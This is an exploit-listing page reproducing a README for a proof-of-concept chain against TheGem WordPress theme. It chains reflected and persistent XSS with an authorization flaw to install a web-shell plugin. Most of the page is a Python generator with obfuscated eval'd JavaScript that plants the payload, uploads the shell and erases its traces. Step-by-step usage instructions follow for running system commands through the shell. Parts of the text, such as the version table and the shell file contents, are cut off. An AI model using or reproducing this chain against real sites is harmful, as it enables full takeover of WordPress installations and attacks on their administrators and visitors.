Share
## https://sploitus.com/exploit?id=F3119C5A-4230-520D-8410-A5BD2D0142D1
# TheGem-Theme-Exploit-Chain-One-Click-Full-Compromise-Subscriber-RCE-

```markdown
# TheGem Theme Multiple Vulnerabilities Exploit Chain

This repository contains a proof‑of‑concept exploit chain that combines four vulnerabilities in **TheGem WordPress theme** (versions ` tags on every page. |
| **CVE‑2025‑4317** | Authenticated File Upload – the WordPress plugin installer can be used to upload a malicious plugin (requires admin privileges). |

## 🚀 Exploit Chain

1. **Subscriber clicks a crafted URL** that triggers the reflected XSS (CVE‑2023‑50892).  
2. The injected JavaScript uses the missing authorization endpoint (CVE‑2025‑4339) to write a persistent XSS payload into the theme’s `custom_js_header` option.  
3. The persistent XSS (CVE‑2025‑62011) now runs on every page load for all visitors.  
4. When an **administrator** visits any page, the persistent XSS executes with admin privileges and uses the plugin installer (CVE‑2025‑4317) to upload a PHP web shell.  
5. The script automatically cleans up by removing itself from the theme options.  
6. The attacker can then access the shell at `/wp-content/plugins/my-shell/my-shell.php?cmd=id`.

## 📜 Exploit Generator

Run the Python script below to generate the malicious URL. The generated URL must be opened by a **logged‑in subscriber** on a vulnerable WordPress site that uses TheGem theme with blog grid sorting enabled (e.g., on a category page like `/category/blogs-02-1/`).

```python
import urllib.parse
import base64

base = "http://localhost:10019/category/blogs-02-1/?orderby=title&order="

# Plugin installer script (self‑cleaning, logs to console)
installer_payload = """
let s=document.createElement('script');
s.src='https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js';
s.onload=()=>{
    fetch('/wp-admin/plugin-install.php?tab=upload')
        .then(r=>r.text())
        .then(html=>{
            let nonce=html.match(/name="_wpnonce" value="([^"]+)"/)[1];
            let zip=new JSZip();
            zip.file('my-shell/my-shell.php','');
            return zip.generateAsync({type:'blob'}).then(blob=>({nonce,blob}));
        })
        .then(({nonce,blob})=>{
            let fd=new FormData();
            fd.append('_wpnonce',nonce);
            fd.append('pluginzip',blob,'my-shell.zip');
            fd.append('action','upload-plugin');
            return fetch('/wp-admin/update.php?action=upload-plugin',{method:'POST',credentials:'same-origin',body:fd});
        })
        .then(()=>{
            console.log('Plugin installed! Cleaning up...');
            return fetch('/wp-admin/admin-ajax.php?action=thegem_theme_options_api&data=' + encodeURIComponent(JSON.stringify({action:'getSettings'})))
                .then(r=>r.json())
                .then(data=>{
                    if(data.options){
                        data.options.custom_js_header = '';
                        return fetch('/wp-admin/admin-ajax.php',{
                            method:'POST',
                            credentials:'same-origin',
                            headers:{'Content-Type':'application/json'},
                            body:JSON.stringify({
                                action:'save',
                                credentials:{},
                                options:data.options
                            })
                        });
                    }
                });
        })
        .then(()=>{
            console.log('Cleanup complete');
            console.log('Shell available at: /wp-content/plugins/my-shell/my-shell.php?cmd=id');
        });
};
document.head.appendChild(s);
"""

# Base64 encode the installer to safely embed in eval()
b64_installer = base64.b64encode(installer_payload.encode()).decode()

# Script that injects the persistent XSS via missing authorization endpoint
injection_script = f"""
fetch('/wp-admin/admin-ajax.php?action=thegem_theme_options_api',{{
    method:'POST',
    credentials:'same-origin',
    headers:{{'Content-Type':'application/json'}},
    body:JSON.stringify({{
        action:'save',
        credentials:{{}},
        options:{{
            custom_js_header: 'eval(atob("{b64_installer}"));',
            custom_js: "",
            customSocials: [],
            page_options: {{
                default: {{}}, blog: {{}}, search: {{}}, global: {{}},
                post: {{}}, portfolio: {{}}, product: {{}}
            }}
        }}
    }})
}}).then(r=>r.json()).then(d=>{{if(d.status==='success') alert('✅ Persistent XSS injected!'); else alert('Error: '+JSON.stringify(d));}});
"""

# Embed in reflected XSS (break out of order attribute)
full_script = '">' + injection_script + ''
encoded = urllib.parse.quote(full_script)
url = base + encoded
print(url)
```

## 🧪 Usage

1. **Set the target base URL** in the script (line 3) – replace `http://localhost:10019` with your WordPress site address.
2. **Run the script** – it will print a very long URL.
3. **Log in as a subscriber** on the WordPress site.
4. **Paste the generated URL** into the browser address bar and press Enter.
5. You should see an alert: `✅ Persistent XSS injected!`  
   *(If you see an error, the target may not be vulnerable.)*
6. **Log out** and **log in as an administrator** (or wait for an administrator to visit any page).
7. Open the browser **console** (F12) – you will see log messages:
   ```
   Plugin installed! Cleaning up...
   Cleanup complete
   Shell available at: /wp-content/plugins/my-shell/my-shell.php?cmd=id
   ```
8. **Access the shell** at the provided URL (e.g., `http://your-site.com/wp-content/plugins/my-shell/my-shell.php?cmd=id`).  
   Append `&cmd=whoami` to execute system commands.

## ⚠️ Prerequisites

- The target site must use **TheGem theme version < 5.9.2** (tested on 5.5).
- A page that includes the **blog grid with sorting** must exist. In the example, we used `/category/blogs-02-1/` (a category archive page). If that page is not present, you can create a page with a `gem_news` shortcode that has `blog_show_sorting="1"`.
- The subscriber must be able to post comments (auto‑approved or pending approval) – the script uses the comment system only to obtain a nonce, but the actual injection goes through the AJAX endpoint. No comment is posted in this chain.
- The site must have internet access to load the JSZip library from the CDN.

## 🧹 Cleanup

After the exploit, the plugin `my-shell` will be installed (deactivated). You can remove it from **Plugins** in the WordPress admin. The injected `custom_js_header` is automatically cleared by the script.

## 📄 License

This is for educational purposes only. Use only on systems you own or have explicit permission to test.

## 🙏 Acknowledgments

- Original vulnerabilities discovered by Rafie Muhammad and others.
- Exploit chain developed as part of a security assessment.
```